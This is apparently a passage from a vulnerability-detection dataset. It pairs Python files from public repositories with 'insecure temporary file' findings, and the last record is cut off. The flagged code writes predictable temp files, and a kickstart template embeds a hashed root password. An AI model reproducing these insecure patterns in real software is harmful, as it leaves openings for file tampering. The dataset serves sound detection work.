us\nnetwork --bootproto=static --device=bond0 --bootproto=dhcp --bondopts=miimon=100,mode=active-backup --bondslaves=\"{0}\"\nfirewall --enabled --ssh\ntimezone --utc America/Sao_Paulo\nzerombr yes\nclearpart --drives=\"{1}\" --all --initlabel\nbootloader --location=mbr --driveorder=\"{1}\" --append=\"crashkernel=auto rhgb quiet\" \n# Please remember to change this. In case you don't the password encrypted bellow is \"\".\nrootpw --iscrypted $6$JDAL2eOJcBzAkykb$o9v9XAVC2i9YLyMGWEyG60SO2vXSDO.C42CoI/M5Ai/UCVOoWD6SH1sd9e7ImZJj/rx1aljJShdVjKHJgRa8s/\nauthconfig --enableshadow --passalgo=\nselinux --enabled\nskipx\n\n# Disk proposal bellow. You should customize it to your needs.\npart raid.0 --size=512 --ondisk {2} --asprimary\npart raid.1 --size=512 --ondisk {3} --asprimary\npart raid.2 --size=40000 --ondisk {2} --asprimary\npart raid.3 --size=40000 --ondisk {3} --asprimary\npart raid.4 --size=10000 --ondisk {2} --asprimary --grow\npart raid.5 --size=10000 --ondisk {3} --asprimary --grow\nraid /boot --fstype xfs --level=RAID1 --device=md0 raid.0 raid.1\nraid pv.1 --fstype \"physical volume (LVM)\" --level=RAID1 --device=md1 raid.2 raid.3\nraid pv.2 --fstype \"physical volume (LVM)\" --level=RAID1 --device=md2 raid.4 raid.5\nvolgroup system --pesize=32768 pv.1\nvolgroup data --pesize=32768 pv.2\nlogvol / --fstype xfs --name=root --vgname=system --size=4096 --fsoptions=\"noatime,nodiratime\"\nlogvol /usr --fstype xfs --name=usr --vgname=system --size=8192 --fsoptions=\"noatime,nodiratime,nodev\"\nlogvol /var --fstype xfs --name=var --vgname=system --size=4096 --fsoptions=\"noatime,nodiratime,nodev,nosuid\"\nlogvol /var/log --fstype xfs --name=varlog --vgname=system --size=4096 --fsoptions=\"noatime,nodiratime,nodev,nosuid,noexec\"\nlogvol /tmp --fstype xfs --name=tmp --vgname=system --size=4096 --fsoptions=\"noatime,nodiratime,nodev,nosuid\"\nlogvol /opt --fstype xfs --name=opt --vgname=system --size=512 --fsoptions=\"noatime,nodiratime,nodev,nosuid\"\nlogvol /srv --fstype xfs --name=srv --vgname=system --size=5120 --fsoptions=\"noatime,nodiratime,nodev,nosuid,noexec\"\nlogvol swap --fstype swap --name=swap --vgname=system --size=4096\nlogvol /home --fstype xfs --name=home --vgname=data --size=512 --fsoptions=\"noatime,nodiratime,nodev,nosuid,noexec\"\n\n%packages\n@base\n@console-internet\n@core\n@debugging\n@directory-client\n@hardware-monitoring\n@java-platform\n@large-systems\n@network-file-system-client\n@performance\n@perl-runtime\n@portuguese-support\n@server-platform\n@server-policy\n@workstation-policy\npax\npython-dmidecode\noddjob\nsgpio\ndevice-mapper-persistent-data\nsamba-winbind\ncertmonger\npam_krb5\nkrb5-workstation\nperl-DBD-SQLite\ndos2unix\nca-certificates\ndhcp\nnfs-utils\nipa-client\ntcpdump\nexpect\n%post\"\"\".format(nics, ','.join(localdisks), localdisks[0], localdisks[1])\n\nif __name__ == '__main__':\n incks = open('/tmp/autogen.ks', 'w+')\n incks.write(kickstart)\n incks.close()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "144"}}, {"lineNo": 145, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "b74dcc9f11a4ce9df463981398821aa9be36cd4ff53477d08b5ead5574632d88", "license": {"spdx": ["MIT"], "repo": "Illidanz/VampireTranslation", "path": "repack_img.py", "repo_head_hexsha": "d57e88d0dcd7d5d1c9dcaaff2d6e5ea098d842b6", "stack_hexsha": "f6fb899f61687e61712367affa88a5603ababa3e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 55, "entireCode": "import os\nfrom hacktools import common, nitro\nimport images\n\n\ndef run(data):\n infolder = data + \"extract_BMP/\"\n outfolder = data + \"repack_BMP/\"\n workfolder = data + \"work_IMG/\"\n\n common.logMessage(\"Repacking IMG from\", workfolder, \"...\")\n files = common.getFiles(infolder, \".IMG\")\n lastpals = []\n totfiles = 0\n for file in common.showProgress(files):\n dirname = os.path.dirname(file)\n if not os.path.isdir(workfolder + dirname):\n continue\n if file == \"DATESL/002.IMG\":\n continue\n with common.Stream(infolder + file, \"rb\") as fin:\n with common.Stream(outfolder + file, \"wb\") as f:\n common.logDebug(\"Repacking\", file)\n # Read section offsets\n paloff = fin.readUInt() * 4\n tileoff = fin.readUInt() * 4\n mapoff = fin.readUInt() * 4\n common.logDebug(\"Sections:\", common.toHex(paloff), common.toHex(tileoff), common.toHex(mapoff))\n # Read image\n paloffs, tileoffs, mapoffs = images.readIMGData(fin, paloff, tileoff, mapoff)\n if len(mapoffs) == 0 or len(mapoffs) > 2:\n common.logError(\"Can't repack file\", file)\n fin.seek(0)\n f.write(fin.read())\n continue\n palettes, tiles, maps = images.readIMG(fin, paloffs, tileoffs, mapoffs)\n if len(paloffs) == 0:\n common.logDebug(\"No palettes\")\n palettes = lastpals\n else:\n lastpals = palettes\n # Copy file up until the first tile\n fin.seek(0)\n f.write(fin.read(tileoffs[0]))\n # Repack them\n newtileoffs = []\n mapfiles = []\n for i in range(len(mapoffs) - 1):\n pngfile = workfolder + file.replace(\".IMG\", \"_\" + str(i).zfill(2) + \".png\")\n mapdata = common.Stream().__enter__()\n if os.path.isfile(pngfile):\n common.logDebug(\"Repacking\", pngfile)\n tiles[i].tileoffset = 0\n maps[i].mapoffset = 0\n open(\"temptile.bin\", \"w\").close()\n open(\"tempmap.bin\", \"w\").close()\n nitro.writeMappedNSCR(\"temptile.bin\", \"tempmap.bin\", tiles[i], maps[i], pngfile, palettes, maps[i].width, maps[i].height, writelen=False)\n with common.Stream(\"temptile.bin\", \"rb\") as temptile:\n f.write(temptile.read())\n if f.tell() % 4 > 0:\n f.writeZero(f.tell() % 4)\n newtileoffs.append(f.tell())\n with common.Stream(\"tempmap.bin\", \"rb\") as tempmap:\n mapdata.writeUShort(maps[i].width // 8)\n mapdata.writeUShort(maps[i].height // 8)\n mapdata.write(tempmap.read())\n if mapdata.tell() % 4 > 0:\n mapdata.writeZero(mapdata.tell() % 4)\n os.remove(\"temptile.bin\")\n os.remove(\"tempmap.bin\")\n totfiles += 1\n else:\n common.logDebug(\"Copying\", pngfile)\n # Just copy the tile and map data\n fin.seek(tileoffs[i])\n f.write(fin.read(tileoffs[i+1] - fin.tell()))\n newtileoffs.append(f.tell())\n fin.seek(mapoffs[i])\n mapdata.write(fin.read(mapoffs[i+1] - fin.tell()))\n mapdata.seek(0)\n mapfiles.append(mapdata)\n # Write the new map data\n newmapoffs = []\n mapoff = f.tell()\n f.writeUInt(len(mapfiles))\n for i in range(len(mapfiles)):\n f.writeUInt(0)\n for mapdata in mapfiles:\n f.write(mapdata.read())\n newmapoffs.append(f.tell())\n f.seek(8)\n f.writeUInt(mapoff // 4)\n # Write the new offsets\n f.seek(tileoff + 4)\n for newtileoff in newtileoffs:\n f.writeUInt((newtileoff - tileoff) // 4)\n f.seek(mapoff + 4)\n for newmapoff in newmapoffs:\n f.writeUInt((newmapoff - mapoff) // 4)\n\n # Repack ANCG files\n files = common.getFiles(infolder, \".ANCG\")\n open(\"tempcell.bin\", \"w\").close()\n for file in common.showProgress(files):\n if file == \"MANGA_LINE/000.ANCG\":\n continue\n dirname = os.path.dirname(file)\n if not os.path.isdir(workfolder + dirname):\n continue\n pngfile = workfolder + file.replace(\".ANCG\", \".png\")\n if not os.path.isfile(pngfile):\n continue\n common.copyFile(infolder + file, outfolder + file)\n with common.Stream(infolder + file, \"rb\") as fin:\n common.logDebug(\"Repacking\", file)\n tiles, cells, palettes, bpp = images.readANCGGraphics(fin, file, infolder)\n if cells is None:\n continue\n nitro.writeNCER(outfolder + file, \"tempcell.bin\", tiles, cells, pngfile, palettes, checkRepeat=False, writelen=False, checkalpha=True)\n totfiles += 1\n os.remove(\"tempcell.bin\")\n common.logMessage(\"Done! Repacked\", totfiles, \"files\")", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "51"}}, {"lineNo": 55, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "f9a47c93bbf2465c186f97d8dc91af5d50a8bd3c0a757000023b1f53ce2972fc", "license": {"spdx": ["MIT"], "repo": "B05901022/VOCANO", "path": "vocano/core.py", "repo_head_hexsha": "669b3faa2e3df4aaba84844496c7cb370b6feb1d", "stack_hexsha": "856374982cb9759ac765f6af6f8238cbb7f34534", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 81, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 21 00:14:04 2020\n\n@author: \n\"\"\"\n\nimport os\nimport torch\nimport numpy as np\nimport importlib\nimport pretty_midi\nimport platform\nimport scipy.io.wavfile as wavfile\nfrom apex import amp\nfrom pathlib import Path\nfrom tqdm import tqdm\n\nfrom google_drive_downloader import GoogleDriveDownloader as gdd\n\nfrom .model.PyramidNet_ShakeDrop import PyramidNet_ShakeDrop\nfrom .utils.evaluate_tools import Smooth_sdt6_modified, Naive_pitch\nfrom .utils.dataset import EvalDataset\nfrom .utils.est2midi import Est2MIDI\n\ndef package_check(package_name: str):\n spec = importlib.util.find_spec(package_name)\n return spec is not None\n\nCUPY_EXIST = package_check(\"cupy\")\n\nfrom .utils.feature_extraction import test_flow as feature_extraction_np\nif CUPY_EXIST:\n import cupy as cp\n from .utils.feature_extraction_cp import test_flow as feature_extraction_cp\n\nOS_PLATFORM = platform.system()\n\nclass SingingVoiceTranscription:\n \n FILE_ID = {'PyramidNet_ShakeDrop': '1m9YT7207CXQv1KdU0ivkRQrwvPnOuR3W',\n 'Patch_CNN': '1tq_LcZwWQYV7wM6dBAeDZeQn39UNkPdl'}\n DOWNLOAD_PATH = {'PyramidNet_ShakeDrop': './checkpoint/model.pt',\n 'Patch_CNN': './checkpoint/model3_patch25.npy'}\n \n def __init__(self, args):\n \"\"\"\n args.keys: \n # --- directory/filename ---\n (n)name\n (fd)feat_dir\n (pd)pitch_dir\n (md)midi_dir\n (od)output_wav_dir\n (wd)wavfile_dir\n (gd)pitch_gt_dir\n (ckpt)checkpoint_file\n # --- system ---\n (s)save_extracted\n (use_pre)use_pre_extracted\n (use_gt)use_groundtruth\n (d)device\n (use_cp)use_cp\n (bz)batch_size\n (nw)num_workers\n (pn)pin_memory\n (al)amp_level\n \"\"\" \n self.args = args\n\n # --- device ---\n self._select_device()\n \n def _select_device(self):\n # cpu/selected gpu/auto-select gpu\n if self.args.device == \"cpu\":\n self.device = torch.device(\"cpu\")\n elif self.args.device == \"auto\":\n if OS_PLATFORM == \"Linux\":\n os.system('nvidia-smi -q -d Memory |grep -A4 GPU|grep Free >tmp')\n memory_available = [int(x.split()[2]) for x in open('tmp', 'r').readlines()]\n for idx, memory in enumerate(memory_available):\n print(f\"cuda:{idx} available memory: {memory}\")\n self.device = torch.device(f\"cuda:{np.argmax(memory_available)}\")\n print(f\"Selected cuda:{np.argmax(memory_available)} as device\")\n torch.cuda.set_device(int(np.argmax(memory_available)))\n else:\n raise OSError(f\"{OS_PLATFORM} does not support auto method.\")\n else:\n self.device = torch.device(f\"cuda:{self.args.device}\")\n torch.cuda.set_device(int(self.args.device))\n \n def _free_gpu(self):\n # free gpu usage\n if CUPY_EXIST:\n cp._default_memory_pool.free_all_blocks()\n torch.cuda.empty_cache()\n \n def _download_from_googledrive(self, file_id, dest_path):\n gdd.download_file_from_google_drive(file_id, dest_path)\n \n def download_ckpt(self):\n for file in self.FILE_ID:\n self._download_from_googledrive(self.FILE_ID[file], self.DOWNLOAD_PATH[file])\n \n def transcription(self):\n \n # --- download model ---\n if not Path(\"./checkpoint/model.pt\").is_file():\n print(f\"PyramidNet model checkpoint not found. Automatically download to VOCANO/checkpoint/ .\")\n self._download_from_googledrive(self.FILE_ID['PyramidNet_ShakeDrop'], self.DOWNLOAD_PATH['PyramidNet_ShakeDrop'])\n print(f\"PyramidNet model checkpoint downloaded.\")\n if not Path(\"./checkpoint/model3_patch25.npy\").is_file():\n print(f\"Patch-CNN model checkpoint not found. Automatically download to VOCANO/checkpoint/ .\")\n self._download_from_googledrive(self.FILE_ID['Patch_CNN'], self.DOWNLOAD_PATH['Patch_CNN'])\n print(f\"Patch-CNN model checkpoint downloaded.\")\n \n # --- feature/melody extraction ---\n if self.args.use_pre_extracted:\n feat_name = self.args.feat_dir / f\"{self.args.name}_feat.npy\"\n pitch_name = self.args.pitch_dir / f\"{self.args.name}_pitch.npy\"\n if feat_name.is_file() and pitch_name.is_file():\n self.feature = np.load(feat_name)\n self.pitch = np.load(pitch_name)\n print(f\"Using pre-extracted feat {feat_name} and melody {pitch_name}\")\n else:\n raise IOError(f\"Given pre-extracted feature {str(feat_name)} and pitch contour {str(pitch_name)} does not exist.\")\n else:\n self.data_preprocessing()\n\n # --- load model ---\n self.load_model()\n \n # --- vocal transcription ---\n self.voice_transcription()\n \n # --- gen midi/wav ---\n self.gen_midi()\n self.gen_wav()\n \n # --- save midi/wav ---\n self.save_midi(self.midi, self.args.midi_dir)\n self.save_wav(self.synth_midi, self.args.output_wav_dir)\n \n def data_preprocessing(self):\n \n # --- download model ---\n if not Path(\"./checkpoint/model3_patch25.npy\").is_file():\n print(f\"Patch-CNN model checkpoint not found. Automatically download to VOCANO/checkpoint/ .\")\n self._download_from_googledrive(self.FILE_ID['Patch_CNN'], self.DOWNLOAD_PATH['Patch_CNN'])\n print(f\"Patch-CNN model checkpoint downloaded.\")\n \n # --- feature/melody extraction ---\n self.feature, self.pitch = self.feature_extraction(self.args.wavfile_dir, self.args.use_cp)\n \n # --- use groundtruth pitch if selected ---\n if self.args.use_groundtruth:\n self.pitch = np.load(self.args.pitch_gt_dir)\n\n # --- save extracted feature/pitch ---\n if self.args.save_extracted:\n self.save_pitch_contour(self.pitch, self.args.pitch_dir)\n self.save_feature(self.feature, self.args.feat_dir)\n \n def feature_extraction(self, wavfile_dir, use_cp):\n # numpy/cupy for CFP extraction\n print(f\"Feature extraction start...\")\n if use_cp:\n try:\n feature, pitch = feature_extraction_cp(filename=wavfile_dir, use_ground_truth=self.args.use_groundtruth, \n batch_size=self.args.batch_size, num_workers=self.args.num_workers,\n pin_memory=self.args.pin_memory, device=self.device)\n except:\n if not CUPY_EXIST:\n raise ImportError(f\"CuPy package need to be installed to enable --use_cp\")\n else:\n self._free_gpu()\n print(f\"Filesize too large. Trying with numpy solution.\")\n feature, pitch = feature_extraction_np(filename=wavfile_dir, use_ground_truth=self.args.use_groundtruth, \n batch_size=self.args.batch_size, num_workers=self.args.num_workers,\n pin_memory=self.args.pin_memory, device=self.device)\n else:\n feature, pitch = feature_extraction_np(filename=wavfile_dir, use_ground_truth=self.args.use_groundtruth, \n batch_size=self.args.batch_size, num_workers=self.args.num_workers,\n pin_memory=self.args.pin_memory, device=self.device)\n \n # --- free GPU ---\n self._free_gpu()\n \n print(f\"Feature successfully extracted.\")\n return feature, pitch\n \n def load_model(self):\n # load melody extraction model\n # load note segmentation model\n # model.to(device)\n self.feature_extractor = PyramidNet_ShakeDrop(depth=110, alpha=270, shakedrop=True)\n \n # --- load checkpoint ---\n checkpoint = torch.load(self.args.checkpoint_file)\n self.feature_extractor = self.feature_extractor.to(self.device)\n self.feature_extractor = amp.initialize(\n self.feature_extractor,\n opt_level=self.args.amp_level\n )\n self.feature_extractor.load_state_dict(checkpoint['model'])\n amp.load_state_dict(checkpoint['amp'])\n \n # --- evaluate mode ---\n self.feature_extractor.eval()\n \n def voice_transcription(self):\n # --- data loader ---\n test_dataset = EvalDataset(self.feature)\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=self.args.batch_size, shuffle=False,\n num_workers=self.args.num_workers, pin_memory=self.args.pin_memory)\n \n # --- test loop ---\n outputs = []\n for batch_idx, feat in enumerate(tqdm(test_loader)):\n feat = feat.to(self.device)\n sdt_hat = self.feature_extractor.forward(feat)\n sdt_hat = torch.nn.functional.softmax(sdt_hat.view(3,-1,2), dim=2).view(-1,6)\n outputs.append(sdt_hat.detach().cpu())\n outputs = torch.cat(outputs)\n \n # --- post processing ---\n p_np = self.pitch\n predict_on_notes_np = outputs.numpy()\n \n pitch_intervals, sSeq_np, dSeq_np, onSeq_np, offSeq_np, conflict_ratio = Smooth_sdt6_modified(predict_on_notes_np, threshold=0.5) # list of onset secs, ndarray\n freq_est = Naive_pitch(p_np, pitch_intervals)\n \n # --- for midi ---\n self.est = np.hstack((pitch_intervals, freq_est.reshape((-1,1))))\n self.sdt = np.hstack((sSeq_np.reshape((-1,1)), dSeq_np.reshape((-1,1)), onSeq_np.reshape((-1,1)), offSeq_np.reshape((-1,1))))\n \n # --- free GPU ---\n self._free_gpu()\n \n def gen_midi(self):\n # generate midi file from prediction or from groundtruth\n self.midi = Est2MIDI(self.est)\n \n def gen_wav(self):\n # generate wav from midi file\n self.synth_midi = self.midi.synthesize().astype(np.float32)\n \n def save_midi(self, midi: pretty_midi.pretty_midi.PrettyMIDI, save_dir: Path):\n # save midi file\n print(f\"Writing midi...\")\n save_dir.mkdir(parents=True, exist_ok=True)\n midi.write(str(save_dir / f\"{self.args.name}.mid\"))\n print(f\"Midi successfully saved to {save_dir}\") \n \n def save_wav(self, synth_midi: np.ndarray, save_dir: Path):\n # save wav file\n print(f\"Writing wav...\")\n save_dir.mkdir(parents=True, exist_ok=True)\n wavfile.write(save_dir / f\"{self.args.name}.wav\", 44100, synth_midi)\n print(f\"Wav successfully saved to {save_dir}\") \n \n def save_pitch_contour(self, pitch: np.ndarray, save_dir: Path):\n # save extracted melody\n print(f\"Writing pitch contour information...\")\n save_dir.mkdir(parents=True, exist_ok=True)\n np.save(save_dir / f\"{self.args.name}_pitch.npy\", pitch)\n print(f\"Pitch contour successfully saved to {save_dir}\")\n \n def save_feature(self, feature: np.ndarray, save_dir: Path):\n # save extracted feature\n print(f\"Writing CFP feature information...\")\n save_dir.mkdir(parents=True, exist_ok=True)\n np.save(save_dir / f\"{self.args.name}_feat.npy\", feature)\n print(f\"Feature successfully saved to {save_dir}\") ", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 79, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "79"}}, {"lineNo": 81, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "1b7518d05c5de99139eb1063cc3c31efddccd58c1a1790cef5c886a7089666f4", "license": {"spdx": ["MIT"], "repo": "deyandyankov/research.mtne", "path": "gpu_implementation/neuroevolution/helper.py", "repo_head_hexsha": "88b923391d4831233ef89059322faa4366b8a5be", "stack_hexsha": "af800ba40f13e23ff132bd94a7bf0dce9a0b68ff", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 40, "entireCode": "__copyright__ = \"\"\"\nCopyright (c) 2018 Uber Technologies, Inc.\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\n\nimport numbers\nimport threading\nfrom queue import Queue\nimport numpy as np\nimport math\nimport pickle\nimport os\n\nclass SharedNoiseTable(object):\n def __init__(self):\n import ctypes, multiprocessing\n seed = 123\n count = 250000000 # 1 gigabyte of 32-bit numbers. Will actually sample 2 gigabytes below.\n print('Sampling {} random numbers with seed {}'.format(count, seed))\n self._shared_mem = multiprocessing.Array(ctypes.c_float, count)\n self.noise = np.ctypeslib.as_array(self._shared_mem.get_obj())\n assert self.noise.dtype == np.float32\n sharednoisetablefile = \"/tmp/sharednoisetable\"\n if False: #os.path.isfile(sharednoisetablefile):\n print(\"Loading shared noise from {}\".format(sharednoisetablefile))\n with open(sharednoisetablefile, 'rb') as fh:\n self.noise[:] = pickle.load(fh)\n else:\n self.noise[:] = np.random.RandomState(seed).randn(count) # 64-bit to 32-bit conversion here\n print('Sampled {} bytes'.format(self.noise.size * 4))\n with open(sharednoisetablefile, 'wb') as fh:\n print(\"Saving shared noise table to {}\".format(sharednoisetablefile))\n pickle.dump(self.noise, fh)\n\n\n def get(self, i, dim):\n return self.noise[i:i + dim]\n\n def sample_index(self, stream, dim):\n return stream.randint(0, len(self.noise) - dim + 1)\n\n\nclass ConstantSchedule(object):\n def __init__(self, value):\n self._value = value\n\n def value(self, **kwargs):\n return self._value\n\n\nclass LinearSchedule(object):\n def __init__(self, schedule, final_p, initial_p, field):\n self.schedule = schedule\n self.field = field\n self.final_p = final_p\n self.initial_p = initial_p\n\n def value(self, **kwargs):\n assert self.field in kwargs, \"Argument {} not provided to scheduler Available: {}\".format(self.field, kwargs)\n fraction = min(float(kwargs[self.field]) / self.schedule, 1.0)\n return self.initial_p + fraction * (self.final_p - self.initial_p)\n\n\nclass ExponentialSchedule(object):\n def __init__(self, initial_p, final_p, schedule, field):\n self.initial_p = initial_p\n self.final_p = final_p\n self.schedule = schedule\n self.field = field\n\n self.linear = LinearSchedule(\n initial_p=math.log(self.initial_p),\n final_p=math.log(self.final_p),\n schedule=self.schedule,\n field=self.field)\n\n def value(self, **kwargs):\n return math.exp(self.linear(**kwargs))\n\n\ndef make_schedule(args):\n if isinstance(args, numbers.Number):\n return ConstantSchedule(args)\n else:\n return globals()[args['type']](**{key: value for key, value in args.items() if key != 'type'})", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "38"}}, {"lineNo": 40, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "991f048d6907cc09c1e6174b435e885db54df5b34541cdbae9d6d4cb38015486", "license": {"spdx": ["Apache-2.0"], "repo": "tdriggs/TetrisAI", "path": "scripts/validater.py", "repo_head_hexsha": "467d2974c8e5375b6b61e681ce899d74f4728bca", "stack_hexsha": "de54a98c3c5c6ecffe5456a57ca83af0247ed44e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 42, "entireCode": "import os, json, subprocess\nfrom pathlib import WindowsPath\n\ndef get_data_filenames(num_outputs):\n output_depth = {\n 41: 1,\n 81: 2,\n 121: 3,\n 161: 4,\n 201: 5,\n 241: 6\n }[num_outputs]\n\n return (WindowsPath(\"../training_data/uber_x_1__%s__%d.csv\" % (\"training\", output_depth)),\n WindowsPath(\"../training_data/uber_x_1__%s__%d.csv\" % (\"test\", output_depth)))\n\ndef main():\n for root, dirs, files in os.walk(\"../networks/\"):\n if (root != \"../networks/\"):\n continue\n \n for file in files:\n if file.startswith(\"uber\") and file.endswith(\".nn\"):\n format_data = file.split(\"__\")\n num_outputs = int(format_data[-2])\n\n training_filename, test_filename = get_data_filenames(num_outputs)\n json_data = {\n \"learning_rate\": 0.01,\n \"input_size\": 221,\n \"output_size\": 201,\n \"hidden_sizes\": [1],\n \n \"training_data\": str(training_filename),\n \"test_data\": str(test_filename),\n \"training_iterations\": 0,\n \n \"input_network\": str(WindowsPath(root, file)),\n \"output_network\": str(WindowsPath(root, \"validated\", file))[:-3]\n }\n\n with open(\"./temp_configuration.json\", \"w\") as fp:\n json.dump(json_data, fp)\n\n subprocess.run(['..\\\\bin\\\\Train\\\\aiTrainer.exe', '.\\\\temp_configuration.json'])\n\n \nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "23"}}, {"lineNo": 42, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "dcf12bd6b50e16cc8bc8ff9bf4b683f3b3dc8d585c66fe732145fb1d2ddbad00", "license": {"spdx": ["MIT"], "repo": "jagatiyakeval/archflow", "path": "app.py", "repo_head_hexsha": "b50e19d6b6a7cadf77b8dccbe712a1c3d3279ec2", "stack_hexsha": "be0a51410b9c754a10f67f4a50ab82fc209bdc13", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 231, "entireCode": "import os\nimport cv2\nimport copy\nimport time\nimport json\nfrom pprint import pprint\nimport numpy as np\nimport streamlit as st\nfrom PIL import ImageColor\n# import coco_annotation_parser as annot_parse # type:ignore\nimport SessionState #type:ignore\nimport circulation_skeletonizer as circ_skeleton #type:ignore\nimport connectivity_sets as connect_set #type:ignore\nimport common_utils as cmnutils #type:ignore\nimport coco_json_generator as coco_json #type:ignore\n\nEXPORT_FLAG = False\nCOLOR_CODE_RGB_JSON = \"color_code_RGB.json\"\n\nst.set_option('deprecation.showPyplotGlobalUse', False)\nst.set_page_config(page_title=\"Arch App\",page_icon=\":control_knobs:\",layout=\"wide\",initial_sidebar_state=\"auto\")\n\nwith st.sidebar.beta_expander(label='Expand to import file or select folder', expanded=True):\n with st.form(key=\"_form_upload_annotation\"):\n annotation_file = st.file_uploader(\"Import Annotation File\", type=['json'], key='_file_uploader_json')\n dir_name_list = [dir for dir in os.listdir() if os.path.isdir(dir) and not (dir.startswith('.') or dir.startswith('__'))]\n dir_name_list.insert(0, \"Select_Folder\")\n annotated_image_dir = st.selectbox(label=\"Select Folder\", options=dir_name_list, index=0)\n st.form_submit_button(label='Submit')\n\nwith st.sidebar.beta_expander(label=\"Runtime Debug Messages\", expanded=True):\n rt_msg_form = st.form(key=\"rt_msg\")\n rt_msg_form.form_submit_button(label='Refresh')\n\n# @st.cache(suppress_st_warning=True)\ndef send_runtime_msg(msg='', msg_identifier='', msg_type='info', msg_ttl=1):\n msg_placeholder = rt_msg_form.empty()\n if 